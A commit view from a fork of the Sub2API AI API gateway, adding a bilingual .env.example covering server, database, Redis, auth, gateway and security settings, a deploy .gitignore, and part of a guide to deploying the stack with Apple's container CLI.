Sub2API v1.0 - AI API 网关(二开初始版本,基于上游 Wei-Shaw/sub2api)
Release / update-version (push) Has been cancelled
Release / build-frontend (push) Has been cancelled
Release / release (push) Has been cancelled
Release / sync-version-file (push) Has been cancelled
CI / shell (push) Canceled after 0s
CI / test (push) Canceled after 0s
CI / frontend (push) Canceled after 0s
CI / golangci-lint (push) Canceled after 0s
Security Scan / backend-security (push) Canceled after 0s
Security Scan / frontend-security (push) Canceled after 0s
Release / update-version (push) Has been cancelled
Release / build-frontend (push) Has been cancelled
Release / release (push) Has been cancelled
Release / sync-version-file (push) Has been cancelled
CI / shell (push) Canceled after 0s
CI / test (push) Canceled after 0s
CI / frontend (push) Canceled after 0s
CI / golangci-lint (push) Canceled after 0s
Security Scan / backend-security (push) Canceled after 0s
Security Scan / frontend-security (push) Canceled after 0s
This commit is contained in:
@@ -0,0 +1,458 @@
|
||||
# =============================================================================
|
||||
# Sub2API Container Environment Configuration
|
||||
# =============================================================================
|
||||
# Copy this file to .env and modify as needed:
|
||||
# cp .env.example .env
|
||||
# chmod 600 .env
|
||||
# nano .env
|
||||
#
|
||||
# Then start with Docker Compose or Apple container:
|
||||
# docker compose up -d
|
||||
# ./apple-container.sh up
|
||||
# =============================================================================
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Server Configuration
|
||||
# -----------------------------------------------------------------------------
|
||||
# IPv4 bind address for host port mapping
|
||||
BIND_HOST=0.0.0.0
|
||||
|
||||
# Server port exposed on the host (Apple container requires 1025-65535)
|
||||
SERVER_PORT=8080
|
||||
|
||||
# Server mode: release or debug
|
||||
SERVER_MODE=release
|
||||
|
||||
# Optional token used only for GitHub Release API update checks. Release asset
|
||||
# downloads remain anonymous. GITHUB_TOKEN and GH_TOKEN are not used.
|
||||
UPDATE_GITHUB_TOKEN=
|
||||
|
||||
# Return Server-Timing for authenticated requests made by the Admin web UI
|
||||
ENABLE_SERVER_TIMING=false
|
||||
|
||||
# Apple container image overrides (ignored by Docker Compose). Pin release tags
|
||||
# or digests for repeatable operator-managed deployments.
|
||||
APPLE_CONTAINER_SUB2API_IMAGE=weishaw/sub2api:latest
|
||||
APPLE_CONTAINER_POSTGRES_IMAGE=postgres:18-alpine
|
||||
APPLE_CONTAINER_REDIS_IMAGE=redis:8-alpine
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Logging Configuration
|
||||
# 日志配置
|
||||
# -----------------------------------------------------------------------------
|
||||
# 日志级别:debug/info/warn/error
|
||||
LOG_LEVEL=info
|
||||
# 日志格式:json/console
|
||||
LOG_FORMAT=json
|
||||
# 每条日志附带的 service 字段
|
||||
LOG_SERVICE_NAME=sub2api
|
||||
# 每条日志附带的 env 字段
|
||||
LOG_ENV=production
|
||||
# 是否输出调用方位置信息
|
||||
LOG_CALLER=true
|
||||
# 堆栈输出阈值:none/error/fatal
|
||||
LOG_STACKTRACE_LEVEL=error
|
||||
|
||||
# 输出开关(建议容器内保持双输出)
|
||||
# 是否输出到 stdout/stderr
|
||||
LOG_OUTPUT_TO_STDOUT=true
|
||||
# 是否输出到文件
|
||||
LOG_OUTPUT_TO_FILE=true
|
||||
# 日志文件路径(留空自动推导):
|
||||
# - 设置 DATA_DIR:${DATA_DIR}/logs/sub2api.log
|
||||
# - 未设置 DATA_DIR:/app/data/logs/sub2api.log
|
||||
LOG_OUTPUT_FILE_PATH=
|
||||
|
||||
# 滚动配置
|
||||
# 单文件最大体积(MB)
|
||||
LOG_ROTATION_MAX_SIZE_MB=100
|
||||
# 保留历史文件数量(0 表示不限制)
|
||||
LOG_ROTATION_MAX_BACKUPS=10
|
||||
# 历史日志保留天数(0 表示不限制)
|
||||
LOG_ROTATION_MAX_AGE_DAYS=7
|
||||
# 是否压缩历史日志
|
||||
LOG_ROTATION_COMPRESS=true
|
||||
# 滚动文件时间戳是否使用本地时间
|
||||
LOG_ROTATION_LOCAL_TIME=true
|
||||
|
||||
# 采样配置(高频重复日志降噪)
|
||||
LOG_SAMPLING_ENABLED=false
|
||||
# 每秒前 N 条日志不采样
|
||||
LOG_SAMPLING_INITIAL=100
|
||||
# 之后每 N 条保留 1 条
|
||||
LOG_SAMPLING_THEREAFTER=100
|
||||
|
||||
# Global max request body size in bytes (default: 256MB)
|
||||
# 全局最大请求体大小(字节,默认 256MB)
|
||||
# Applies to all requests, especially important for h2c first request memory protection
|
||||
# 适用于所有请求,对 h2c 第一请求的内存保护尤为重要
|
||||
SERVER_MAX_REQUEST_BODY_SIZE=268435456
|
||||
|
||||
# Gateway max request body size in bytes (default: 256MB)
|
||||
# 网关请求体最大字节数(默认 256MB)
|
||||
GATEWAY_MAX_BODY_SIZE=268435456
|
||||
|
||||
# Enable HTTP/2 Cleartext (h2c) for client connections
|
||||
# 启用 HTTP/2 Cleartext (h2c) 客户端连接
|
||||
SERVER_H2C_ENABLED=true
|
||||
# H2C max concurrent streams (default: 50)
|
||||
# H2C 最大并发流数量(默认 50)
|
||||
SERVER_H2C_MAX_CONCURRENT_STREAMS=50
|
||||
# H2C idle timeout in seconds (default: 75)
|
||||
# H2C 空闲超时时间(秒,默认 75)
|
||||
SERVER_H2C_IDLE_TIMEOUT=75
|
||||
# H2C max read frame size in bytes (default: 1048576 = 1MB)
|
||||
# H2C 最大帧大小(字节,默认 1048576 = 1MB)
|
||||
SERVER_H2C_MAX_READ_FRAME_SIZE=1048576
|
||||
# H2C max upload buffer per connection in bytes (default: 2097152 = 2MB)
|
||||
# H2C 每个连接的最大上传缓冲区(字节,默认 2097152 = 2MB)
|
||||
SERVER_H2C_MAX_UPLOAD_BUFFER_PER_CONNECTION=2097152
|
||||
# H2C max upload buffer per stream in bytes (default: 524288 = 512KB)
|
||||
# H2C 每个流的最大上传缓冲区(字节,默认 524288 = 512KB)
|
||||
SERVER_H2C_MAX_UPLOAD_BUFFER_PER_STREAM=524288
|
||||
|
||||
# 运行模式: standard (默认) 或 simple (内部自用)
|
||||
# standard: 完整 SaaS 功能,包含计费/余额校验;simple: 隐藏 SaaS 功能并跳过计费/余额校验
|
||||
RUN_MODE=standard
|
||||
|
||||
# Timezone
|
||||
TZ=Asia/Shanghai
|
||||
|
||||
# Optional mobile Alipay flow. Unset uses the value saved in Admin Settings.
|
||||
# Enable only for official Alipay instances with face-to-face payment enabled.
|
||||
# ALIPAY_MOBILE_PRECREATE_DEEP_LINK=true
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# PostgreSQL Configuration (REQUIRED)
|
||||
# -----------------------------------------------------------------------------
|
||||
POSTGRES_USER=sub2api
|
||||
POSTGRES_PASSWORD=change_this_secure_password
|
||||
POSTGRES_DB=sub2api
|
||||
# PostgreSQL 监听端口(同时用于 PG 服务端和应用连接,默认 5432)
|
||||
DATABASE_PORT=5432
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# PostgreSQL 服务端参数(可选)
|
||||
# -----------------------------------------------------------------------------
|
||||
# POSTGRES_MAX_CONNECTIONS:PostgreSQL 服务端允许的最大连接数。
|
||||
# 必须 >=(所有 Sub2API 实例的 DATABASE_MAX_OPEN_CONNS 之和)+ 预留余量(例如 20%)。
|
||||
POSTGRES_MAX_CONNECTIONS=1024
|
||||
# POSTGRES_SHARED_BUFFERS:PostgreSQL 用于缓存数据页的共享内存。
|
||||
# 常见建议:物理内存的 10%~25%(容器内存受限时请按实际限制调整)。
|
||||
# 8GB 内存容器参考:1GB。
|
||||
POSTGRES_SHARED_BUFFERS=1GB
|
||||
# POSTGRES_EFFECTIVE_CACHE_SIZE:查询规划器“假设可用的 OS 缓存大小”(不等于实际分配)。
|
||||
# 常见建议:物理内存的 50%~75%。
|
||||
# 8GB 内存容器参考:6GB。
|
||||
POSTGRES_EFFECTIVE_CACHE_SIZE=4GB
|
||||
# POSTGRES_MAINTENANCE_WORK_MEM:维护操作内存(VACUUM/CREATE INDEX 等)。
|
||||
# 值越大维护越快,但会占用更多内存。
|
||||
# 8GB 内存容器参考:128MB。
|
||||
POSTGRES_MAINTENANCE_WORK_MEM=128MB
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# PostgreSQL 连接池参数(可选,默认与程序内置一致)
|
||||
# -----------------------------------------------------------------------------
|
||||
# 说明:
|
||||
# - 这些参数控制 Sub2API 进程到 PostgreSQL 的连接池大小(不是 PostgreSQL 自身的 max_connections)。
|
||||
# - 多实例/多副本部署时,总连接上限约等于:实例数 * DATABASE_MAX_OPEN_CONNS。
|
||||
# - 连接池过大可能导致:数据库连接耗尽、内存占用上升、上下文切换增多,反而变慢。
|
||||
# - 建议结合 PostgreSQL 的 max_connections 与机器规格逐步调优:
|
||||
# 通常把应用总连接上限控制在 max_connections 的 50%~80% 更稳妥。
|
||||
#
|
||||
# DATABASE_MAX_OPEN_CONNS:最大打开连接数(活跃+空闲),达到后新请求会等待可用连接。
|
||||
# 典型范围:50~500(取决于 DB 规格、实例数、SQL 复杂度)。
|
||||
DATABASE_MAX_OPEN_CONNS=256
|
||||
# DATABASE_MAX_IDLE_CONNS:最大空闲连接数(热连接),建议 <= MAX_OPEN。
|
||||
# 太小会频繁建连增加延迟;太大会长期占用数据库资源。
|
||||
DATABASE_MAX_IDLE_CONNS=128
|
||||
# DATABASE_CONN_MAX_LIFETIME_MINUTES:单个连接最大存活时间(单位:分钟)。
|
||||
# 用于避免连接长期不重建导致的中间件/LB/NAT 异常或服务端重启后的“僵尸连接”。
|
||||
# 设置为 0 表示不限制(一般不建议生产环境)。
|
||||
DATABASE_CONN_MAX_LIFETIME_MINUTES=30
|
||||
# DATABASE_CONN_MAX_IDLE_TIME_MINUTES:空闲连接最大存活时间(单位:分钟)。
|
||||
# 超过该时间的空闲连接会被回收,防止长时间闲置占用连接数。
|
||||
# 设置为 0 表示不限制(一般不建议生产环境)。
|
||||
DATABASE_CONN_MAX_IDLE_TIME_MINUTES=5
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Redis Configuration
|
||||
# -----------------------------------------------------------------------------
|
||||
# Redis 监听端口(同时用于应用连接和 Redis 服务端,默认 6379)
|
||||
REDIS_PORT=6379
|
||||
# Redis ACL username; leave empty for the default user
|
||||
REDIS_USERNAME=
|
||||
# Leave empty for no password (default for local development)
|
||||
REDIS_PASSWORD=
|
||||
REDIS_DB=0
|
||||
# Redis 服务端最大客户端连接数(可选)
|
||||
REDIS_MAXCLIENTS=50000
|
||||
# Redis 连接池大小(默认 1024)
|
||||
REDIS_POOL_SIZE=4096
|
||||
# Redis 最小空闲连接数(默认 10)
|
||||
REDIS_MIN_IDLE_CONNS=256
|
||||
REDIS_ENABLE_TLS=false
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Admin Account
|
||||
# -----------------------------------------------------------------------------
|
||||
# Email for the admin account
|
||||
ADMIN_EMAIL=admin@sub2api.local
|
||||
|
||||
# Password for admin account
|
||||
# Leave empty to auto-generate (will be shown in logs on first run)
|
||||
ADMIN_PASSWORD=
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# JWT Configuration
|
||||
# -----------------------------------------------------------------------------
|
||||
# IMPORTANT: Set a fixed JWT_SECRET to prevent login sessions from being
|
||||
# invalidated after container restarts. If left empty, a random secret will
|
||||
# be generated on each startup, causing all users to be logged out.
|
||||
# Generate a secure secret: openssl rand -hex 32
|
||||
JWT_SECRET=
|
||||
JWT_EXPIRE_HOUR=24
|
||||
# Access Token 有效期(分钟)
|
||||
# 优先级说明:
|
||||
# - >0: 按分钟生效(优先于 JWT_EXPIRE_HOUR)
|
||||
# - =0: 回退使用 JWT_EXPIRE_HOUR
|
||||
JWT_ACCESS_TOKEN_EXPIRE_MINUTES=0
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Setup Configuration
|
||||
# -----------------------------------------------------------------------------
|
||||
# Database migration timeout during initial setup, in seconds.
|
||||
# Leave 0 to use the built-in default of 60 seconds.
|
||||
SETUP_MIGRATION_TIMEOUT_SECONDS=0
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# TOTP (2FA) Configuration
|
||||
# TOTP(双因素认证)配置
|
||||
# -----------------------------------------------------------------------------
|
||||
# IMPORTANT: Set a fixed encryption key for TOTP secrets. If left empty, a
|
||||
# random key will be generated on each startup, causing all existing TOTP
|
||||
# configurations to become invalid (users won't be able to login with 2FA).
|
||||
# Generate a secure key: openssl rand -hex 32
|
||||
# 重要:设置固定的 TOTP 加密密钥。如果留空,每次启动将生成随机密钥,
|
||||
# 导致现有的 TOTP 配置失效(用户无法使用双因素认证登录)。
|
||||
TOTP_ENCRYPTION_KEY=
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Configuration File (Optional)
|
||||
# -----------------------------------------------------------------------------
|
||||
# Path to custom config file (relative to docker-compose.yml directory)
|
||||
# Copy config.example.yaml to config.yaml and modify as needed
|
||||
# Leave unset to use default ./config.yaml
|
||||
#CONFIG_FILE=./config.yaml
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Built-in OAuth Client Secrets (Optional)
|
||||
# -----------------------------------------------------------------------------
|
||||
# SECURITY NOTE:
|
||||
# - 本项目不会在代码仓库中内置第三方 OAuth client_secret。
|
||||
# - 如需使用“内置客户端”(而不是自建 OAuth Client),请在运行环境通过 env 注入。
|
||||
#
|
||||
# Gemini CLI built-in OAuth client_secret(用于 Gemini code_assist/google_one 内置登录流)
|
||||
# GEMINI_CLI_OAUTH_CLIENT_SECRET=
|
||||
#
|
||||
# Antigravity OAuth client_secret(用于 Antigravity OAuth 登录流)
|
||||
# ANTIGRAVITY_OAUTH_CLIENT_SECRET=
|
||||
#
|
||||
# Antigravity User-Agent 版本号(后台设置 antigravity_user_agent_version 优先;留空使用内置默认 1.23.2)
|
||||
# ANTIGRAVITY_USER_AGENT_VERSION=
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Rate Limiting (Optional)
|
||||
# 速率限制(可选)
|
||||
# -----------------------------------------------------------------------------
|
||||
# Cooldown time (in minutes) when upstream returns 529 (overloaded)
|
||||
# 上游返回 529(过载)时的冷却时间(分钟)
|
||||
RATE_LIMIT_OVERLOAD_COOLDOWN_MINUTES=10
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Gateway Scheduling (Optional)
|
||||
# 调度缓存与受控回源配置(缓存就绪且命中时不读 DB)
|
||||
# -----------------------------------------------------------------------------
|
||||
# Force Codex CLI mode: treat all /openai/v1/responses requests as Codex CLI.
|
||||
# 强制按 Codex CLI 处理 /openai/v1/responses 请求(用于网关未透传/改写 User-Agent 的兜底)。
|
||||
#
|
||||
# 注意:开启后会影响所有客户端的行为(不仅限于 VS Code / Codex CLI),请谨慎开启。
|
||||
#
|
||||
# 默认:false
|
||||
GATEWAY_FORCE_CODEX_CLI=false
|
||||
# OpenAI /responses/compact 上游模型(默认 gpt-5.4)。
|
||||
# 当 compact 端点暂未支持更新模型时,可通过这里降级规避失败。
|
||||
GATEWAY_OPENAI_COMPACT_MODEL=gpt-5.4
|
||||
# OpenAI/Codex 等待上游响应头超时(秒);0 表示不使用本地响应头超时截断。
|
||||
GATEWAY_OPENAI_RESPONSE_HEADER_TIMEOUT=0
|
||||
# OpenAI HTTP 上游默认启用 HTTP/2;如需紧急回滚可设为 false。
|
||||
GATEWAY_OPENAI_HTTP2_ENABLED=true
|
||||
GATEWAY_OPENAI_HTTP2_ALLOW_PROXY_FALLBACK_TO_HTTP1=true
|
||||
GATEWAY_OPENAI_HTTP2_FALLBACK_ERROR_THRESHOLD=2
|
||||
GATEWAY_OPENAI_HTTP2_FALLBACK_WINDOW_SECONDS=60
|
||||
GATEWAY_OPENAI_HTTP2_FALLBACK_TTL_SECONDS=600
|
||||
GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_FAILURE_THRESHOLD=2
|
||||
GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_WINDOW_SECONDS=60
|
||||
GATEWAY_OPENAI_PROXY_STREAM_CIRCUIT_TTL_SECONDS=600
|
||||
# 上游连接池:每主机最大连接数(默认 1024;流式/HTTP1.1 场景可调大,如 2400/4096)
|
||||
GATEWAY_MAX_CONNS_PER_HOST=2048
|
||||
# 上游连接池:最大空闲连接总数(默认 2560;账号/代理隔离 + 高并发场景可调大)
|
||||
GATEWAY_MAX_IDLE_CONNS=8192
|
||||
# 上游连接池:每主机最大空闲连接(默认 120)
|
||||
GATEWAY_MAX_IDLE_CONNS_PER_HOST=4096
|
||||
# 粘性会话最大排队长度
|
||||
GATEWAY_SCHEDULING_STICKY_SESSION_MAX_WAITING=3
|
||||
# 粘性会话等待超时(时间段,例如 45s)
|
||||
GATEWAY_SCHEDULING_STICKY_SESSION_WAIT_TIMEOUT=120s
|
||||
# 兜底排队等待超时(时间段,例如 30s)
|
||||
GATEWAY_SCHEDULING_FALLBACK_WAIT_TIMEOUT=30s
|
||||
# 兜底最大排队长度
|
||||
GATEWAY_SCHEDULING_FALLBACK_MAX_WAITING=100
|
||||
# 启用调度批量负载计算
|
||||
GATEWAY_SCHEDULING_LOAD_BATCH_ENABLED=true
|
||||
# 并发槽位清理周期(时间段,例如 30s)
|
||||
GATEWAY_SCHEDULING_SLOT_CLEANUP_INTERVAL=30s
|
||||
# 是否允许受控回源到 DB(默认 true,保持现有行为)
|
||||
GATEWAY_SCHEDULING_DB_FALLBACK_ENABLED=true
|
||||
# 受控回源超时(秒),0 表示不额外收紧超时
|
||||
GATEWAY_SCHEDULING_DB_FALLBACK_TIMEOUT_SECONDS=0
|
||||
# 受控回源限流(实例级 QPS),0 表示不限制
|
||||
GATEWAY_SCHEDULING_DB_FALLBACK_MAX_QPS=0
|
||||
# outbox 轮询周期(秒)
|
||||
GATEWAY_SCHEDULING_OUTBOX_POLL_INTERVAL_SECONDS=1
|
||||
# outbox 滞后告警阈值(秒)
|
||||
GATEWAY_SCHEDULING_OUTBOX_LAG_WARN_SECONDS=5
|
||||
# outbox 触发强制重建阈值(秒)
|
||||
GATEWAY_SCHEDULING_OUTBOX_LAG_REBUILD_SECONDS=10
|
||||
# outbox 连续滞后触发次数
|
||||
GATEWAY_SCHEDULING_OUTBOX_LAG_REBUILD_FAILURES=3
|
||||
# outbox 积压触发重建阈值(行数)
|
||||
GATEWAY_SCHEDULING_OUTBOX_BACKLOG_REBUILD_ROWS=10000
|
||||
# 全量重建周期(秒)
|
||||
GATEWAY_SCHEDULING_FULL_REBUILD_INTERVAL_SECONDS=300
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Image Generation Keepalive & Concurrency (Optional)
|
||||
# 图片生成保活与并发隔离配置(可选)
|
||||
# -----------------------------------------------------------------------------
|
||||
# 图片流式上游数据间隔超时(秒)。0 表示禁用;非 0 时必须为 60-1800。
|
||||
GATEWAY_IMAGE_STREAM_DATA_INTERVAL_TIMEOUT=900
|
||||
# 图片流式 keepalive 间隔(秒)。0 表示禁用;非 0 时必须为 5-60。
|
||||
GATEWAY_IMAGE_STREAM_KEEPALIVE_INTERVAL=10
|
||||
# 图片非流式 JSON keepalive 间隔(秒)。默认 0 禁用;首个心跳后 HTTP 状态会固化为 200。
|
||||
GATEWAY_IMAGE_NONSTREAM_KEEPALIVE_INTERVAL=0
|
||||
# 是否启用进程级图片生成并发限制。默认 false,保持历史行为。
|
||||
GATEWAY_IMAGE_CONCURRENCY_ENABLED=false
|
||||
# 当前进程允许同时处理的图片生成请求数。0 表示不限制。
|
||||
GATEWAY_IMAGE_CONCURRENCY_MAX_CONCURRENT_REQUESTS=0
|
||||
# 图片并发超限策略:reject 直接返回 429;wait 等待空闲槽位。
|
||||
GATEWAY_IMAGE_CONCURRENCY_OVERFLOW_MODE=reject
|
||||
# wait 模式下等待空闲图片槽位的最长时间(秒)。
|
||||
GATEWAY_IMAGE_CONCURRENCY_WAIT_TIMEOUT_SECONDS=30
|
||||
# wait 模式下当前进程允许排队等待的最大图片请求数。0 表示不允许等待队列。
|
||||
GATEWAY_IMAGE_CONCURRENCY_MAX_WAITING_REQUESTS=100
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Dashboard Aggregation (Optional)
|
||||
# -----------------------------------------------------------------------------
|
||||
# Enable aggregation job
|
||||
# 启用仪表盘预聚合
|
||||
DASHBOARD_AGGREGATION_ENABLED=true
|
||||
# Refresh interval (seconds)
|
||||
# 刷新间隔(秒)
|
||||
DASHBOARD_AGGREGATION_INTERVAL_SECONDS=60
|
||||
# Lookback window (seconds)
|
||||
# 回看窗口(秒)
|
||||
DASHBOARD_AGGREGATION_LOOKBACK_SECONDS=120
|
||||
# Allow manual backfill
|
||||
# 允许手动回填
|
||||
DASHBOARD_AGGREGATION_BACKFILL_ENABLED=false
|
||||
# Backfill max range (days)
|
||||
# 回填最大跨度(天)
|
||||
DASHBOARD_AGGREGATION_BACKFILL_MAX_DAYS=31
|
||||
# Recompute recent N days on startup
|
||||
# 启动时重算最近 N 天
|
||||
DASHBOARD_AGGREGATION_RECOMPUTE_DAYS=2
|
||||
# Retention windows (days)
|
||||
# 保留窗口(天)
|
||||
DASHBOARD_AGGREGATION_RETENTION_USAGE_LOGS_DAYS=90
|
||||
DASHBOARD_AGGREGATION_RETENTION_HOURLY_DAYS=180
|
||||
DASHBOARD_AGGREGATION_RETENTION_DAILY_DAYS=730
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Security Configuration
|
||||
# -----------------------------------------------------------------------------
|
||||
# URL Allowlist Configuration
|
||||
# 启用 URL 白名单验证(false 则跳过白名单检查,仅做基本格式校验)
|
||||
SECURITY_URL_ALLOWLIST_ENABLED=false
|
||||
|
||||
# 关闭白名单时,是否允许 http:// URL(默认 true,设为 false 则只允许 https://)
|
||||
# ⚠️ 警告:允许 HTTP 存在安全风险(明文传输),生产环境建议设为 false
|
||||
# Allow insecure HTTP URLs when allowlist is disabled (default: true; set to false to require https)
|
||||
# ⚠️ WARNING: Allowing HTTP has security risks (plaintext transmission)
|
||||
# Recommended to set false in production
|
||||
SECURITY_URL_ALLOWLIST_ALLOW_INSECURE_HTTP=true
|
||||
|
||||
# 是否允许本地/私有 IP 地址用于上游/定价/CRS(仅在可信网络中使用)
|
||||
# Allow localhost/private IPs for upstream/pricing/CRS (use only in trusted networks)
|
||||
SECURITY_URL_ALLOWLIST_ALLOW_PRIVATE_HOSTS=true
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Gemini OAuth (OPTIONAL, required only for Gemini OAuth accounts)
|
||||
# -----------------------------------------------------------------------------
|
||||
# Sub2API supports TWO Gemini OAuth modes:
|
||||
#
|
||||
# 1. Code Assist OAuth (需要 GCP project_id)
|
||||
# - Uses: cloudcode-pa.googleapis.com (Code Assist API)
|
||||
# - Auto scopes: cloud-platform + userinfo.email + userinfo.profile
|
||||
# - OAuth Client: Can use built-in Gemini CLI client (留空即可)
|
||||
# - Requires: Google Cloud Platform project with Code Assist enabled
|
||||
#
|
||||
# 2. AI Studio OAuth (不需要 project_id)
|
||||
# - Uses: generativelanguage.googleapis.com (AI Studio API)
|
||||
# - Default scopes: generative-language
|
||||
# - OAuth Client: Requires your own OAuth 2.0 Client (内置 Gemini CLI client 不能申请 generative-language scope)
|
||||
# - Requires: Create OAuth 2.0 Client in GCP Console + OAuth consent screen
|
||||
# - Setup Guide: https://ai.google.dev/gemini-api/docs/oauth
|
||||
# - ⚠️ IMPORTANT: OAuth Client 必须发布为正式版本 (Production)
|
||||
# Testing 模式限制: 只能添加 100 个测试用户, refresh token 7 天后过期
|
||||
# 发布步骤: GCP Console → OAuth consent screen → PUBLISH APP
|
||||
#
|
||||
# Configuration:
|
||||
# Leave empty to use the built-in Gemini CLI OAuth client (Code Assist OAuth only).
|
||||
# To enable AI Studio OAuth, set your own OAuth client ID/secret here.
|
||||
GEMINI_OAUTH_CLIENT_ID=
|
||||
GEMINI_OAUTH_CLIENT_SECRET=
|
||||
# Optional; leave empty to auto-select scopes based on oauth_type
|
||||
GEMINI_OAUTH_SCOPES=
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Gemini Quota Policy (OPTIONAL, local simulation)
|
||||
# -----------------------------------------------------------------------------
|
||||
# JSON overrides for local quota simulation (Code Assist only).
|
||||
# Example:
|
||||
# GEMINI_QUOTA_POLICY={"tiers":{"LEGACY":{"pro_rpd":50,"flash_rpd":1500,"cooldown_minutes":30},"PRO":{"pro_rpd":1500,"flash_rpd":4000,"cooldown_minutes":5},"ULTRA":{"pro_rpd":2000,"flash_rpd":0,"cooldown_minutes":5}}}
|
||||
GEMINI_QUOTA_POLICY=
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Ops Monitoring Configuration (运维监控配置)
|
||||
# -----------------------------------------------------------------------------
|
||||
# Enable ops monitoring features (background jobs and APIs)
|
||||
# 是否启用运维监控功能(后台任务和接口)
|
||||
# Set to false to hide ops menu in sidebar and disable all ops features
|
||||
# 设置为 false 可在左侧栏隐藏运维监控菜单并禁用所有运维监控功能
|
||||
OPS_ENABLED=true
|
||||
|
||||
# -----------------------------------------------------------------------------
|
||||
# Update Configuration (在线更新配置)
|
||||
# -----------------------------------------------------------------------------
|
||||
# Proxy URL for accessing GitHub (used for online updates and pricing data)
|
||||
# 用于访问 GitHub 的代理地址(用于在线更新和定价数据获取)
|
||||
# Supports: http, https, socks5, socks5h
|
||||
# Examples:
|
||||
# HTTP proxy: http://127.0.0.1:7890
|
||||
# SOCKS5 proxy: socks5://127.0.0.1:1080
|
||||
# With authentication: http://user:pass@proxy.example.com:8080
|
||||
# Leave empty for direct connection (recommended for overseas servers)
|
||||
# 留空表示直连(适用于海外服务器)
|
||||
UPDATE_PROXY_URL=
|
||||
@@ -0,0 +1,19 @@
|
||||
# =============================================================================
|
||||
# Sub2API Deploy Directory - Git Ignore
|
||||
# =============================================================================
|
||||
|
||||
# Data directories (generated at runtime when using docker-compose.local.yml)
|
||||
data/
|
||||
postgres_data/
|
||||
redis_data/
|
||||
|
||||
# Environment configuration (contains sensitive information)
|
||||
.env
|
||||
|
||||
# Backup files
|
||||
*.backup
|
||||
*.bak
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.log
|
||||
@@ -0,0 +1,221 @@
|
||||
# Apple container Deployment
|
||||
|
||||
Sub2API can run as a native three-service stack with Apple's `container` CLI. This workflow runs the published Sub2API, PostgreSQL, and Redis OCI images without Docker Desktop or a Docker-compatible daemon.
|
||||
|
||||
## Support Level
|
||||
|
||||
Apple `container` support is intended for local development and operator-managed deployments on a Mac. Docker Compose remains the recommended production deployment path.
|
||||
|
||||
Apple `container` 1.1 does not provide restart policies, automatic startup, workload health scheduling, a Docker API socket, or full Compose orchestration. `apple-container.sh` supplies ordered startup and readiness checks when you invoke it, but it is not a continuously running supervisor.
|
||||
|
||||
## Requirements
|
||||
|
||||
- A Mac with Apple silicon
|
||||
- macOS 26 or newer
|
||||
- Apple `container` 1.1.0 or newer
|
||||
- `openssl` for generating initial secrets
|
||||
- Local Network access for `container-runtime-linux` when macOS prompts during the first published-container startup
|
||||
|
||||
Install Apple `container` from its [official releases](https://github.com/apple/container/releases), then verify it:
|
||||
|
||||
```bash
|
||||
container --version
|
||||
```
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
git clone https://github.com/Wei-Shaw/sub2api.git
|
||||
cd sub2api/deploy
|
||||
|
||||
# Creates .env with random PostgreSQL, JWT, and TOTP secrets.
|
||||
./apple-container.sh init
|
||||
|
||||
# Review optional settings before startup.
|
||||
nano .env
|
||||
|
||||
# Creates volumes/network/containers, waits for dependencies, and starts Sub2API.
|
||||
./apple-container.sh up
|
||||
|
||||
# Verifies PostgreSQL, Redis, and the application endpoint.
|
||||
./apple-container.sh status
|
||||
```
|
||||
|
||||
Open `http://localhost:8080`. If `ADMIN_PASSWORD` is empty, retrieve the generated password with:
|
||||
|
||||
```bash
|
||||
./apple-container.sh logs app
|
||||
```
|
||||
|
||||
The env file uses literal `KEY=value` syntax. Do not use Compose expressions such as `${VALUE:-default}`, and do not quote values unless the quote characters are part of the intended value. `BIND_HOST` must be an IPv4 address, and `SERVER_PORT` must be between 1025 and 65535.
|
||||
|
||||
## Commands
|
||||
|
||||
```bash
|
||||
# Start dependencies and recreate the lightweight app container with current IPs.
|
||||
./apple-container.sh up
|
||||
|
||||
# Also recreate PostgreSQL and Redis containers, preserving their volumes.
|
||||
./apple-container.sh up --recreate
|
||||
|
||||
# Stop containers while preserving all resources and data.
|
||||
./apple-container.sh down
|
||||
|
||||
# Restart PostgreSQL, Redis, and Sub2API in dependency order.
|
||||
./apple-container.sh restart
|
||||
|
||||
# Show resource state and run live health probes.
|
||||
./apple-container.sh status
|
||||
|
||||
# Follow one service's logs.
|
||||
./apple-container.sh logs app -f
|
||||
./apple-container.sh logs postgres -f
|
||||
./apple-container.sh logs redis -f
|
||||
|
||||
# Pull all configured images for linux/arm64, then recreate containers.
|
||||
./apple-container.sh pull
|
||||
./apple-container.sh up --recreate
|
||||
|
||||
# Delete containers and the network, preserving named volumes.
|
||||
./apple-container.sh destroy --yes
|
||||
|
||||
# Permanently delete the stack and all application/database/cache data.
|
||||
./apple-container.sh destroy --volumes --yes
|
||||
```
|
||||
|
||||
`destroy --volumes` does not remove `.env`, backup files, or pulled images. Delete credentials and backups separately when decommissioning a deployment. Use `container image delete <image>` only after confirming no other Apple containers use that image.
|
||||
|
||||
After a host reboot or `container system stop`, run `./apple-container.sh up` again. Apple `container` does not automatically restart persisted containers.
|
||||
|
||||
## Configuration
|
||||
|
||||
The script uses `deploy/.env`, the same source file used by Docker Compose. Export `SUB2API_ENV_FILE` to use another file for every command in the current shell:
|
||||
|
||||
```bash
|
||||
export SUB2API_ENV_FILE=/absolute/path/to/sub2api.env
|
||||
./apple-container.sh init
|
||||
./apple-container.sh up
